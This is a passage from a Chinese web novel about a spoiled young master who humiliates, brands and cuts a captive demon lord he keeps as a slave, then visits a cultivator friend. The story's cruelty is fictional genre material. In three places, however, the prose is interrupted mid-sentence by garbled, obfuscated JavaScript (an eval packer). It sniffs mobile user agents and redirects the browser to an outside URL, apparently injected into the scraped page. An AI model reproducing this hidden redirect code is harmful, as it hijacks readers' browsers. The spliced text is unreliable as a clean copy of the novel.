话音刚落,就有侍女过来报喜,说母子平安,因此,楚父愈发相信了。 楚青琅翻看记忆的时候也不相信,但是对比了一下原身死亡的剧情点,大概就是二十岁。 那个游方道士没准还真的有些道行。 只是现如今,生死契和仙露都被他用到濒死的魔尊身上了,因此,楚父大发雷霆,撂下狠话,就算是楚青琅去做剑侍,也要去青云仙宗。 但是按照楚青琅这么骄傲的性子,怎么可能答应? 便和楚父不欢而散。 他气冲冲地走回自己的房间,迎上来的丹生看着他的表情,小心地上来说:“主子,那个半妖醒了。” 楚青琅瞬间想起那个让他和父亲生气的罪魁祸首,要不是为了给他这个奴隶吊命,他怎么可能会用上仙露?至于生死契,他是在把魔尊踹倒的时候突然想起来这个东西,瞬间做下了决定。 到时候拿着这个把柄,他不至于在之后被掳去魔域,被魔尊第一时间弄死。 他直接调转了方向,朝着偏房走去。 这次再次踏足这里,倒是没有什么破碗碎瓷片,想来魔尊是认命了。 丹生打开门,站在屋子里面的人就猛地回头,披头散发,面容惨白,配上那猩红眼眸,恍若恶鬼。 一旁恭敬直立的侍从心中发毛,连忙垂下了头。 楚青琅却好像没有注意到什么异常一般,朝着房间中央的榻上坐了上去,美人榻旁的几上放着新鲜水果,樱桃李子还挂着水渍,显然,这并不是给这个奴隶吃的,而是一直跟着的丹生准备的。 丹生看着楚青琅的视线在水果上流连了一瞬,便连忙捏起一颗樱桃,小心翼翼地放到了主子的唇边。 美人榻后面窗户大开,微风吹拂,阳光跃进勾勒出红衣少年的轮廓,兆歧收回视线。 他从噩梦中醒来,身上的灼热痛楚和濒死感消失得无影无踪,虽然他知道自己肯定能够得到治疗,但是他没有想到这个治疗会是这么彻底。 这个小少爷竟然如此舍得治疗一个奴隶,一定所图甚大! 他虽是生长在魔域,但是也常常听闻凡间权力斗争之事,不过有什么事情是凡人不好做的,一定要他这个半妖去做吗? 难道是要做刺客刺杀皇帝,干涉皇权交替?需要他做弃子? 但是他如今丹田已经损毁,筋脉俱断,对于凡人来说已经是个废人了,就算是重新练人间武艺,没有个几年也是妄想...... 还是要炼制什么秘法,要他的血肉?或者是觊觎他的魔功? 兆歧站在那里思忖着,心中的怀疑如岩浆咕咕直冒。 口中的樱桃清甜,楚青琅原本郁闷的心情也轻松了些许,扭头看着不远处的魔尊,吐出樱桃核,被丹生伸手接住。 他坐直道:“过来。” 兆歧缓步走到他的面前,眼皮垂下,那双过于冷漠的红眸被眼睫遮得完全。 他面容是纯粹的英俊,是带着锋利的夺目。 虽然过于苍白,但是眉眼浓重,透着雨前黑夜般湿沉的色彩。 这个魔尊在他的面前倒是难得的顺服,丝毫没有桀骜之意,楚青琅下意识的打开了任务面板瞧了一眼。 嗯,已经有了20%的进度了,想来那个生死契还真的是给他很大的冲击。 楚青琅斜斜倚靠于一旁的几案上,被擦拭干净手重新捏起一颗樱桃抛玩。 他问:“兆歧?” 来了! 兆歧心中凛然,这个小少爷的目的要透露出来了。 他说:“是。” 楚青琅只是瞥着他,一副傲慢骄横的模样。 “你先前的举动我很不高兴,因此,每天早晚向着祠堂方向跪一个时辰。” 每天在众目睽睽之下跪几个小时,来来往往的小厮和仆从都能看见,一定能让魔尊的自尊狠狠刺痛。 而且,父亲又没有说要谁跪,既然罪魁祸首是魔尊,那当然要他跪。 一箭双雕! 楚青琅努力从脑子里面想一些奴仆要干的事情。 “但是这不能耽误你早晚侍奉,端茶倒水。还有,洒扫地面,清理马厩......如果做不好亦或者偷懒,你不会想知道下场的!” “还有一些如何服侍人的活计,你就和丹生学,楚家不留没有用的人。” 让平常高高在上的魔尊做这种低贱的事情,做不好还会被惩罚,一定能折断他的傲骨,并且让他很生气! 虽然话语笃定,但是实际上是楚青琅还没有想好惩罚措施,只能先放狠话威胁一波。 楚青琅兴致勃勃地瞧着一直垂着眼的魔尊,满意的发现他的面容渐渐变得怔愣和不敢置信起来。 一旁的丹生同样愕然抬头,却只见少年黑亮的眼眸越过他,直直地注视着身后的人,他想说,主子,这些活都让他干了,楚家的仆从小厮干什么? 清洌懒散的嗓音下,是轻微的嗒嗒声,果肉和皮肉相撞,房间中的一角有鎏金熏炉燃着清香,灰白雾气缭绕上升,又于空中逸散。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13773859|145712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >兆歧猛地抬眼,一颗饱满的樱桃划破空气,啪嗒一声,带着轻微的力道打在他的心口。 跟着樱桃而来的还有小少爷的一句质问。 “听懂了没有?” 那樱桃又咕噜噜地从他胸口滚落到美人榻旁,艳红色彩就这样闯入他的眼中,连带着那素白细腻的小腿,正在交叠着悠悠晃动。 他张了张嘴,第一次发自内心地想问,让他做的事情就只有这些? 这让他之前拉满的警惕和怀疑放到哪里?难道真的是他想多了?这个小少爷就是单纯的没有见过半妖,所以好奇才买下他做奴隶的? 沉默了几息后,他勉强道:“......是。” 楚青琅没有在意魔尊异样的平静。 他躬身踩在榻边,看着面前的人语气变得轻柔起来,黑发顺着肩头滑落,如蛛网将人缠缚。 “很乖,来,把它捡起来。” 兆歧抬眼,小少爷那因为泛着恶意而显得愈发黑亮的眼眸正定定地凝视着他,仿佛是期待他干一些什么傻事。 例如,反抗? 脖颈处的伤口突兀地又传来幻痛,兆歧掐断心中的念头,上前将那滚落在地的樱桃捡起。 楚青琅支起下颌,看着他带着细碎伤痕的手和脸,懒懒道:“吃。” 丹生坐在一旁,拿起一块果脯喂到楚青琅的唇边,他发现自从那次从红砂楼回来之后,小少爷就偏爱这些甜腻的长得漂亮地吃的。 兆歧瞧着,也把那樱桃扔进了嘴里。 洁白锋利的牙齿相磨,果肉被咀嚼出淡红水渍,染红唇齿。 那双红眸一如既往的空荡漠然,看着面前的人,动作间,却像是一口一口地将人吞噬撕咬进肚,带着狠厉和不易发现的茫然。 在场的人不知道,楚青琅是真的故意折磨他的,毕竟谁能想到魔尊在成为魔尊之前,低贱如斯。 因此这种言语上的恶意,对于从魔域那种地方爬出来的兆歧来说,毫无杀伤力。 甚至于称得上善意。 这让从未感受到这种单纯的魔尊感到了一些不适。 “真不愧是半妖。” 楚青琅啧了一声,又捞了一颗樱桃,边走边吃到了兆歧的面前,“我看你先前反抗得这么厉害,还以为你的自尊心能有多么强呢,结果,不过如此。” “我向来有自知之明,主人。” 英俊的冷漠的半妖安静地站在那里,红色眼珠子被长且直的眼睫疏出几分诡谲光影,烙在皮肤上。 楚青琅仿佛对牛弹琴,只觉得无聊。 他抬手将手中的东西扔在地上。 看着男人顺从地蹲下一颗颗将其捡起来,他光着脚踢了几下兆歧的小臂,不加掩饰地轻蔑道: “赏你的,滚吧,今天的时辰你还没跪够。” 5. 第 5 章 兆歧在楚府的日子规律得很。 自从伤好之后,他就没有资格住在偏房,而是被挪去了柴房,但是兆歧并不介意,或者说,只有这样,才是他想象中的情况。 清晨爬起来,先朝着祠堂跪一个时辰,沉默地听着来来往往的小厮侍女对着他的窃窃私语和轻蔑视线。 然后在丹生叫小少爷起来之后,在丹生带着冷意的目光中为小少爷穿衣套鞋,递上来洗漱用具。一开始兆歧并不熟练,小少爷还因此踹了他好几脚,但是他学得很快,到最后甚至小少爷都是他掐着点叫醒。 随后,如果楚青琅没有别的事情吩咐,兆歧就去喂马,一天要喂早中晚三次,虽然刚开始因为兆歧是陌生人而不乖,但是在他释放出一些妖气之后,那些马儿就乖乖地了。 导致一旁准备幸灾乐祸的马夫望着他的眼神极为复杂。 扫地,要先去库房那里拿扫帚。 刚开始会被刁难,但是当他一如既往地沉默之后,那些人就仿佛觉得无趣一般,懒得再搭理他了。 扫去院中桃树落下的叶子后,就要去后院井中挑水,在院中洒落一层水,防止扬尘。偶尔,小少爷会提着鸟笼过来,看见他之后,眉眼漫上恶劣意味,踩着扫帚让他停顿了动作。 小少爷的语调总是漫不经心的,“我要那个桃子,爬上去,给我摘下来。” 没有梯子,于是兆歧就只能徒手爬上树,去摘小少爷所指的桃子,中间会换好几个目标,而等到最后就会得到一句,“算了,突然不想吃了。” 他便只能看着小少爷施施然离开的背影。 还有去拿鱼食喂池塘中的鲤鱼,鱼食不能全部撒完,要一点一点地喂,不然就会被拿着鞭子的小少爷抽打。 中午,喂马,然后去給小少爷去购买一些书籍和吃食。 因为街道上的人都知道他是楚府的奴隶,所以那些人也都对他客客气气,虽然害怕他那双眼睛,但是并没有恶言相向。 让他想不通的是,偶尔,小少爷会朝他扔一些吃的,一张漂亮的面孔上满是傲气,但是每次看着他捡起吃下,倒是流露出生气的模样。 为什么?兆歧若有所思。 晚上,喂马,打扫完庭院后,要给小少爷换热水洗澡,擦发,泡脚。 小少爷偶尔会把脚蹬在他的肩膀,挑起他的下巴,说一些听起来狠的话,但是在他平静的表象下,反而自己突然被气到,让他滚出去跪着。 他就会面对祠堂跪在院子中,看着星空稀疏,夜风吹拂。 他的耳朵很灵敏,可以听见小少爷在床上翻腾的声音,他会数着心跳,直到小少爷平稳下来,他跪的时间也刚好到。 除了这些,还有一些琐碎的事情,不过对于兆歧来说,这种程度只让他心如止水,毕竟他不需要断胳膊断腿,吃的甚至还是人吃的东西,就算被打,就小少爷那点子力气,他甚至都不觉得疼。 兆歧甚至偶尔间会闪过,就这样呆在这个幻境好像也不错的念头。 于是楚青琅就眼睁睁地看着任务面板上的数值到了21%就一动不动。 甚至连波动都没有! 中间不管他怎么打压,怎么让人瞧不起魔尊,怎么让他干事,这个数值都一动不动! 淡蓝色的面板立在眼前,透过面板可以看见兆歧在院子中穿着粗布麻衣默默打扫,楚青琅心中大为不解。 你不是魔尊吗?怎么能这么没脾气?刚开始不是还会咬他给他用摄魂术? 楚青琅的神情愈发冷下来。 看来,还需要下猛药! * 在大钦,奴隶分为两种,一种是家奴,一种是买回来的奴隶,为了区分,大部分人都会在买回来的奴隶身上,刻上族徽或者别的印记。 在想起这件事情后,楚青琅还犹豫了一下。 虽说有生死契制约,但是魔尊要是真的想要弄死他,他相信他有一百种方法规避生死契。 因此他总是想给自己留着一些退路,但是如今任务进度停滞,时间也不够,他相信魔尊现如今的落魄只是一时的,到时候如果魔尊人回魔域了,任务还没完成就彻底完蛋了。 窗户大敞,昏暗的烛火跳动,空气中仿佛有一柄凿子,硬生生地将兆歧恍若面具贴合在脸上的冷寂沉默敲出裂痕。 “刺啦——” 楚青琅拿起专门打造的烙铁,星火猝然冒出,随即在空中燃尽,又落入火盆中。 黑亮的眼眸映着那明灭火星,瞧着面前终于表现出明显情绪的魔尊,他缓慢又愉悦地笑了起来。 他说:“过来。” 兆歧在第一眼瞧见那火盆烙铁之时,就明白了他要做什么。 他要烙在哪里?肩膀?脊背?还是脸上? 在指尖,无形红光若隐若现,心中的杀意几近沸腾。 别急,别急。 兆歧在心中对自己道,生死契并不好避开,还需要时间。 他此时才发现,这个小少爷就算是折腾人的手段很差劲,但是那股子天真的残忍,却是超乎他的预料。 而如今,他作为被买过来的奴隶,当然没有任何反驳的余地。 通红的烙铁上方空气被灼烧扭曲,灼热的温度一路从小腹绵延到胸前,最后,停滞在脸前。 楚青琅看着面前的魔尊眼睫被烫得颤抖,任务进度也迅速的上涨,从死活不动的21%缓慢增长到25%。 有效果! 但是他的眼中却流露出淡淡的失望,可惜了,现在专属于他的铁印还没有打好。 楚青琅转手将烙铁重新扔进了火盆中,望着魔尊惊愕的眼神,他挑眉,轻哼了一声,“很失望?你现在还不配被我烙下印记。” 在被买来的奴隶看来,被主家印上印记确实是极大的荣耀,小少爷说的并没有错误。 兆歧看着小少爷朝着一旁的书桌上走去,不自觉地迈开脚步跟了过去,衣角撩过火盆,轻微的啪啪声被他抛在身后。 此时,书桌上已经摆好了一副闪着寒光的轻薄刀刃,一旁还有研好的墨。 心中的杀意诡异地平息起来,兆歧在一瞬间甚至产生了说不清的情绪,他指尖颤抖着,有些想笑。 这位小少爷在夜间把跪着的他叫来,在房中摆放了火盆,烙铁,驱散了目露艳羡的侍从,甚至只点了几支烛火,让房间变得昏暗。 沉默中,小少爷的表情是如此的认真,瞧过来的视线是那么的高高在上。 费尽全力营造出一股阴暗诡秘的气氛。 但是,他的小少爷却又如此轻而易举地将那东西放下,就仿佛只是在故意吓人一样,又或者,在小少爷看来,他确实应该因为没有被烙上印记而感到失望。 兆歧怀着莫名情绪,脱下了外袍,小少爷微凉的手在胸膛滑动,随后,停在了心脏的位置。 小少爷明亮的双眼弯起,他说:“我喜欢这里。” 心脏在这一瞬间,扑通地跳了一声。 轻柔的湿凉辗转移动,那密长的眼睫轻颤,挺翘的鼻梁下的唇仿佛含着一片花瓣,嫣红、天然上翘。小少爷认真地握着毛笔,画出了属于自己的印记。 是楚。 兆歧抓紧了自己脱下的外衣,肌肉紧绷,几乎是本能地移开了眼眸。 随后,他突兀地抬眼,一张英俊的面孔极为阴郁冰冷,猩红眼眸里仿佛有恶鬼翻腾,直勾勾地望着窗户外的人,无声道。 ——滚! 极其轻微的“啪嗒”声骤然响起,窗户上的人影猛地消失,随后便是一连串的遮掩着的脚步声,迅速远去。 紧张了!害怕了!又动了! 楚青琅愉快地看着面板上的进度从25%瞬间蹦到30%,他放下毛笔,拿起了轻如蝉翼的刀片。 按住魔尊的肩膀,对准心脏的位置,指尖用力。 锋刃顶出凹痕,没入皮肉,随即,血珠一滴滴地冒出。 一道长长的呼气声从耳边传来,热气扑洒使楚青琅下意识地凝滞了动作,他本来就对这些不熟练,这下子汗毛都要竖起来了。 炽热的温度覆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13773860|145712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上手腕,猛地带着那锋刃划下一道深刻的痕迹。 皮肉翻卷,血流如线流淌。 兆歧已经距离他极近,两人几乎呼吸交融。 “主人,刀不是这样使的,很痒。” 楚青琅:“?” 反应过来后,他白皙的面皮瞬间染上红晕,一副气急的模样。 楚青琅猛然将手抽回,把刀片扔到了地上,指着兆歧说:“给我滚出去跪着!以后每天加一个时辰!” 看着小少爷愤怒的脸,兆歧恍惚觉得面前的人像之前养过的一只猫。 它会用尖厉的爪子划拉他,然后在他不耐的将它扔开后,会生气地跟上来喵呜喵呜的尖叫。 猫是只黑猫,又傲气,又漂亮。 就连关心,都显得漫不经心。 踩着他的胸膛踱步,昂头舔舐爪子,装作不经意瞥见他的伤口,才会凑过来,施舍地叫一声。 却心软得很。 他几不可见地笑,说:“是。” ——就连最后被他烤了吃了也没有挣扎。 * 上一次的事情之后,楚青琅又试了一下用小刀刻印记,但是兆歧仍然是一副平淡的模样,就好像切的不是自己的肉,甚至还能偶尔指导他力度轻重...... 甚至就连烙印在他身上烙下痕迹都没什么表情。 于是楚青琅发现没有效果之后,就懒得这样做了,到最后那个刻字也没有完成。 他甚至停下了所有直接亲自折腾魔尊的事情。 因为楚青琅发现这样除了让魔尊更加平静,任务更加卡顿之外没有任何用处。 他反思了一下,发现很有可能是环境过于固定,而魔尊向来是一个适应性非常强的人,所以要出去寻找机会。 “少爷,这是老爷给您的请帖,还说请您一定要去。” 楚青琅靠在椅背上,抬手接过那请帖,翻看起来,“谁的请帖?” 小厮弯腰回道:“是谢家的,谢家独子谢尘缘被青云仙宗选中作为弟子,谢家大宴京都,邀请了许多达官贵人来参加宴席。” 楚青琅看着纸张上的谢家暗章,哼了一声,“先前也不是没有被选中的人,也没听说过谁摆了宴席,怎么就他们谢家那么激动?” “听说是因为这次仙长有事,延期带人走了,这才给了谢家摆宴的机会。”小厮抬眼小心翼翼地觑着他的反应,“听老爷的意思是,这次您务必要见到谢家子,所需的礼物,夫人已经为您准备好了。” 还真是着急啊,还没有几天吧,如果他不答应呢?父亲难道还会绑着他过去? 先前楚父生气,又因为他在仙宗选拔的时候被涮下来了,就要他去找谢尘缘,让他帮自己进入青云仙宗,还说什么做谢尘缘的剑仆..... 楚青琅的心情瞬间不好了,他将请帖扔回去说:“我认识谢尘缘,不需要这东西。” “是。” 小厮弯腰将落在地上的请帖捡起。 这时身着青衣的丹生则从院中走来。 “主子,”他蹲下,面容带笑,专注地凝视着坐在书桌后一脸烦躁上的人,捏起一旁桌子上的果脯喂到唇边,看见楚青琅吃下后才接着轻声说,“那个半妖已经好了。” 楚青琅“嗯”了一声,朝着梳妆镜前走去,“过来,给我束发穿衣。” 院中,走来的兆歧面上带着血痕,自从那次惹毛小少爷之后,他受到的刁难就越发的严重,而且鞭刑也不是小少爷来实施,而是那个丹生。 透着镜子瞧见了人影,楚青琅扭身抬手,直接将手中的东西扔了过去,直到看着他接下来的动作,才觉得出了一口恶气。 兆歧捡起吃下果脯,只觉得口中的果脯又甜又酸,两者之间还并不统一,酸甜泾渭分明到极致,舌根又传来熟悉的苦涩。 真奇怪,小少爷怎么会喜欢这种食物? 楚青琅透过镜子看他,皱眉道:“今天不许惹事,听见没有?” 兆歧咽下那果脯,一字一句道:“是,主人。” 6. 第 6 章 京都的建筑风格相似,繁复精致。 人来人往间有不少人穿着劲装手持利剑,渴望斩杀妖魔从此被仙人看中,然后被赐予仙缘。也有少数的穿着宽袖长袍,目光相对间,透着股子不屑傲慢的意味。但是所有人的方向都相同,他们朝着谢家而去。 从街道尽头驶来一辆马车,身后跟着挑着礼物的一排小厮。 有人疑惑,“这谁家的,排场这么大?” 买卖东西的商贩抬眼瞧了一眼,笑着搭话,“楚家人,想来也是去往谢家参加宴席的。” 那人撇了撇嘴,“楚家的纨绔子啊,他不是没有被选上吗?这次过来干甚,也想攀附仙人弟子?” 商贩摇了摇头,“您有所不知,这楚家和谢家是世交,虽说自楚家公子之后就少了交际,但是毕竟有交情在,这次过去,也不意外。” 那人扭头,颇为意外,“你一介草民怎么知道这么清楚?” 商贩清咳一声,指了指桌子上的纸张道:“您是过来参加缥缈宗的选拔的是吧?这些可都是报名参加的人的信息还有常用功法和武器,正所谓知彼知己,大获全胜嘛,十两银子任君挑选!包君满意......” 看着抱着剑的人一脸惊喜地开始挑选,商贩笑眯了眼,他抬头,不经意间和马车中的人对视上,瞬间怔愣在原地。 那张面孔明明是不带攻击性的矜贵明艳,但是在和那黑亮眸子对视的瞬间,便让人无法脱身,只觉得天旋地转,心跳加速。 反应过来之后,才注意到此人身后的有着一个拥有一双红眸的男人,正冷冷的瞧着自己。 于是还未从那漩涡脱离,就又感受到刺骨寒意从脊背升起。 但是很快,车帘落下,阻隔了商贩由怔然转为惊惧的视线。 楚青琅放下手,看了一眼坐在他面前极为沉默的人,虽然对于普通人来说沉默通常意味着被忽视,但是这个常理放在兆歧的身上却不好用。 谢家那边与青云仙宗联系密切,此时带魔尊过去,若不遮掩,很有可能被发现。 楚青琅拉开车案下的抽屉,从里面拿出一个面具扔过去,“以后你跟我出去都要带上它,你的脸只能我看见,要是被旁人瞧见了,我便将你这张脸给毁了,听见没有?” “是。” 兆歧将狼形面具带上,面具只能遮住上半张脸,眼部还带着极为轻薄的纱,并不能阻碍视线,只是将他显眼的红眸遮住。 楚青琅满意地收回视线,拿起案几上的桃子吃了起来,刚一抬腿,兆歧便识趣地单膝跪地,将其放到自己的膝上,轻轻揉捏起来。 “这次参加宴会的人都是修行中人,你的身份要是被他们知晓了,没准会被直接杀死。”楚青琅用脚尖点了点兆歧的胸膛道:“要藏好啊。” 兆歧的动作顿了顿,又沉默地按了起来。 掌心中的肉虽说隔着衣衫,但是也是格外软绵,就这样轻飘飘地挂在纤细的骨骼之上,只要他轻轻一扯,便能使其骨肉分离,哀嚎出声。 那脚尖随着他的动作晃动着,不经意间摩擦着手臂内侧,带来细微的痒意,小少爷含糊的声音在头顶响起。 “你是怎么被那老鸨抓住的?” “回主人,有人欲要捉我做斩妖除魔之事,我技不如人失去了意识,等醒过来就在那里了。” “什么人?” “仙宗弟子。” “你当时做了什么?” 闻言,兆歧抬头,金属制成的面具狰狞可怖,带上面具后,那双眼被彻底遮挡,表情模糊,楚青琅下意识皱了皱眉。 他听见面前的人轻描淡写道:“应该是因为我在秘境抢了他们的即将到手的宝物。” 这理由找得很合理,要不是楚青琅知道他是魔尊,就真的信了。 察觉到魔尊的防备,他也懒得接着探寻,本来就是随口一问罢了。 * 谢家门口,人来人往。 带着礼物的,手拿请帖的,在门口徘徊意欲混进去的,各色人都有,只是都被谢家人看得紧紧的。 楚青琅刚踩着兆歧的腿从马车上下来,就被眼尖的管家迎了进去。 身后,带着面具的兆歧被不少人小心地瞧着,毕竟,带着面具,又长得如此高大,很有一种威慑力。 “楚少爷,这位是?”管家侧头询问,“让您知道,我们少爷只邀请了您一个人进去,” 楚青琅瞥了一眼兆歧道:“我的侍奴,让他在院外面等着就行。” 话音刚落,管家为难着想要开口,穿着紫衣长袍长得清秀的人带着一群人拦在了他们的身前,“楚兄怎么也来了?” 楚青琅看去,这人倒是眼熟,是之前撺掇他带谢尘缘一起去红砂楼的人,叫郑章,王爷之子,平常没少做讨好他之事。 他把玩着腰间的佩玉,不冷不热道:“送礼。” 郑章做恍然大悟状,“原来如此,我也是来送礼的,楚兄这是要去哪?我们一起去喝酒啊,谢兄在闭关,不见客的。” 说完,他又看了眼站在身后的兆歧,“这就是楚兄走时带走的奴隶啊,怎么还带着面具?难道楚兄是把奴印刻在他脸上了?” 奴印? 他瞬间想起之前的事。 楚青琅咬牙,冷声道:“我不喜血腥气,他只是长得丑了点,所以才遮掩面容,免得吓到旁人,我还有事,走了。” 说罢,他直接绕过郑章一行人,带着管家和兆歧朝着后院走去。 “哎哎,楚兄……” 郑章放下手,看着他的背影消失,若有所思。 他身后,有人上前一步低声说:“世子,您先前往楚家送的请柬可都被拒之门外,这次他却来谢家,看来也是图那仙人仆从的身份啊。” 郑章眼一横,“美人嘛,总归是傲一点的,就算是冷脸相对,也招人喜欢啊!” 身旁的人和他对视,一起笑出声来。 走在最后的兆歧扭头,仿佛不经意间朝着他们望了过去。 * 谢尘缘住的地方极为清净,刚到院门口,管家就停下脚步,顺手拽住了一路跟着的兆歧,“楚少,我们少爷就在里面,您过去吧。” 楚青琅点了点头,独自朝着里面走去。 没走几步,他就看见了坐于亭子中焚香煮茶之人,一席白衣,恍若神仙中人。 但是这种悠然自得的气质,却像是朝着楚青琅的心中扎针,难以言喻的酸涩和不甘悄然升起。 他如今还要按照父亲母亲的意愿来求谢尘缘收下自己。这对于从未低过头的楚青琅来说,不亚于自断脊梁。 因此,他当然不干。 这次过来,不过是为了敷衍父亲母亲罢了,而且那个所谓的二十岁劫难,他不仅不会躲避,还会主动去完成。 一切的一切,都要给他的任务让步。 楚青琅走过去,径直坐到了谢尘缘的对面。 而对面的人,也仿佛早已察觉,在他落座的瞬间,便递过来一杯刚刚煮好的茶水。 谢尘缘浅笑道:“去年梅枝雪煮制的茶,喝之洗涤神魂,玉儿,尝尝?” 白皙修长的手顿在空中,楚青琅看着他那双在阳光照耀下仿佛琥珀般的眼眸,蹙眉不解,“你叫我什么?” 谢尘缘微微俯身,将茶水放到了楚青琅的面前。 随后他缓缓折着自己的长袖坐回,“玉儿?你的来意伯父已然告知与我,此事不难。” 楚青琅磨了磨牙,他不耐道:“不需要,那个预言不过是游方道士为了赏钱胡编乱诌的,也就是我父母亲关心则乱,才被蒙骗这么久,今天我过来就是为了告诉你,这件事情你就当不知道就行,我会去参加缥缈宗选拔。” 为仆为侍,怎么想都不可能和他楚青琅沾边。 说完,楚青琅根本不想看见谢尘缘的脸,站起身就要走,但是一股莫名的力道却生生将他压回,使他动弹不得。 为了更容易被仙人选中,大钦中的少年都提前学过一些练气修行之法,在学习的途中也正好筛选一些无法感应气感的无仙缘之人。 就像楚青琅,楚家为他费了多少心思,但是他该感觉不到气感,照样是感受不到。 无论他有多么不甘。 但是谢尘缘,却是在第一天就感受到了气感,然后顺利的引气入体,为后面的修行打下了坚实的基础。 天资聪颖,姿容俊美,家世富裕。 怪不得不是主角,而是男二,这么完美的人怎么给人代入感。 但是面上,他却是一副恼怒的表情,冷冷道:“谢尘缘!你要做什么?!” 谢尘缘慢条斯理地重复,“我说,此事不难。玉儿,要听人把话说完。” 楚青琅挣扎瞪去,“我也说了,不需要!” 愤怒的红晕上面颊眼尾,漆黑眼眸被压着靠近。 恍惚间,谢尘缘只觉得自己仿佛在遥望一簇,被他亲自点亮的火焰,肆意燃烧,灼目而烫手。 楚青琅完全没有察觉到面前将他强硬留下的人心中所转悠的念头,他只是觉得愈发的气愤起来,甚至带着几分的委屈。 因为他现在所经历的,都是父母所允许的。 想到这里,他勉强冷静了一下,“我不会给你做侍仆的,你死了这条心!” 谢尘缘好似惊讶道:“玉儿说的哪里话,我们为世交,更有同窗之谊,怎么可能让你受如此委屈。” 楚青琅狐疑的望着他,挣扎的动作却缓和了起来,面前的人敲了下桌子,面上的笑容未变,楚青琅却感觉到那胁迫他的力道消失不见,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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虽然他更想要这个,但是,灼灼燃烧的火焰若是遇到大雨,也会被浇灭的,他需得小心观察。 楚青琅皱了下眉。 那双浅淡的眼眸宛若虚空,和温和浅笑的面容产生了难以言喻的割裂,但是还未待他仔细打量,浓密的眼睫便垂下,遮挡了眸光。 谢尘缘纹丝不动地坐着任他扫视,弯起的唇,挺拔优雅的姿态于阳光下显得格外诚恳。 完全看不出什么猫腻来。 放于桌上的剑嗡嗡的响动着,楚青琅懒得思索他的意图,抬手拿起准备拔出,忽地一股剑气飞来,差点划伤了他的掌心。 谢尘缘轻笑一声拿过剑,将其重新放到桌子上,并抬手敲了一下,随即,那嗡嗡晃动的承影剑便安静下来,“玉儿,剑为凶器,你必须要小心,并且要时刻佩戴熟悉它,等到你引气入体,便可操控了。” 他又从怀中掏出一捆细绳,慢慢悠悠地将那剑缠绕,“玉儿那夜带回的半妖怎么样了?” 楚青琅好奇望去,“还算听话。” 谢尘缘道:“那玉儿也要小心,半妖心思深沉,宛若毒蛇,不要轻易让他近身。” 楚青琅想起那两口,只觉得脖子隐隐作痛,但是面上他却说:“呵,他一个奴隶,我怎么可能让他近身。” 承影剑整体为黑色,暗金纹理遍布,不显眼。谢尘缘为这剑缠绕上了红线,却像是为其增加了几分煞气,看去引人眉心刺痛。 谢尘缘又问:“哦,玉儿知道这次仙师为何延期归宗吗?” 楚青琅看着那晃动的红绳,有些蠢蠢欲动,想要拨动一下,但是很快他就压下了这种冲动,抬手拿起桌旁的糕点咬了一口,咽下后他说:“青云仙宗的事情我怎么可能知晓。” 谢尘缘看着他吃喝,弯了下唇,“嗯,师兄来信说魔域的魔尊欲斩天柱,却被仙尊阻止重伤而逃,这次偶然在查州寻得了踪迹,为了防止魔尊屠戮生灵,便调集了大钦境内的所有仙宗子弟过去搜捕。捉到,必会将其诛杀。” 红绳于剑柄打结,谢尘缘手指灵巧,很快就将其完成,他又将剑递给楚青琅,“来,试试,我暂时压下了它的凶气,你可以随身佩戴了。” 楚青琅不知道他说这话是什么意思,亦或者是谢尘缘此时已经知道了魔尊就是被他带回去的半妖? 但是兆歧此时宛若一个凡人,想要杀他,轻而易举,为何不直接动手? 他未接剑,反而偏了偏头,伸手拨弄了一下剑上红绳,“这应该是青云仙宗的机密吧?就这样告诉我?” 谢尘缘摇了摇头,眉眼平和真挚,“不,只是想告诉你,根据踪迹,那魔尊近期很可能会来到京都,是要你小心,伯父伯母很担心你。” 楚青琅压下心中的疑惑,准备接剑。 不远处管家快步跑来。 “主人,楚公子,您的侍奴和郑公子起了摩擦,现在正在前厅闹呢。”管家欲言又止,补充了一句,“是因为郑公子想要揭开那奴的面具而起来的矛盾。” 7. 第 7 章 “死人了吗?” 楚青琅早就预料到魔尊不是什么听话的人物,虽然在他的视线中格外的听话顺服,但是一旦离开,就像是失去了链子的凶兽,凶残可怖。 清越的声音落下,站在亭下的管家肉眼可见的怔了一下,“那倒是没...没死人。” 楚青琅挑弄着剑上红绳,“那着什么急,他有分寸。” 无论是兆歧被欺负还是欺负别人,对他来说,都是好事。 “玉儿说的是。”在一旁的谢尘缘倾身,将丹药塞进楚青琅的怀中,同时,将那柄剑放到他的手中,“抱歉,我对外称闭关,可能无法出去,需要玉儿自己处理了,张叔会听你的。” 张叔,也就是站在亭子下的管家,此时正规矩地低头望着脚尖,权当自己什么也没有听见,甚至还对一无所知的楚少爷感到些许的怜悯,毕竟被主人喜欢可不是什么好事。 温热的指尖拂过手背,清苦茶香随着靠近的衣衫袭来,黑发下浅色眼眸莹润,瞳孔深处映着一张俊美的面孔。 楚青琅握剑眨眼,唇舌间还残留着糕点的甜蜜,他不由得抵了下尖牙不解道:“我的人闹你的宴会,你还跟我道歉?谢尘缘,你修仙修傻了?” 谢尘缘愣了一下,随即便忍俊不禁的笑了起来。 笑笑笑,有什么好笑的? 